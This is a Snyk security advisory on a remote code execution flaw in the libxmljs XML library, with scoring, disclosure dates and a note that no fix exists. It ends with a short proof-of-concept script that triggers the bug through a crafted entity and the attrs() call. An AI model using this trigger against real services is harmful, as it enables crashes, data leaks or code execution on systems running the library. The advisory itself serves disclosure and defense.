Remote Code Execution (RCE) Affecting libxmljs package, versions *


0.0
high
0
10

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (9th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-LIBXMLJS-6091649
  • published 3 May 2024
  • disclosed 27 Nov 2023
  • credit Uriya Yavnieli

How to fix?

There is no fixed version for libxmljs.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. An attacker can cause denial of service, data leak, infinite loop, and execute arbitrary code on 32-bit systems with the XML_PARSE_HUGE flag enabled by submitting a malicious XML document.

PoC


const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer "` +
 'A'.repeat(0x1234) +
`">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d, {flags: [libxmljs.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

References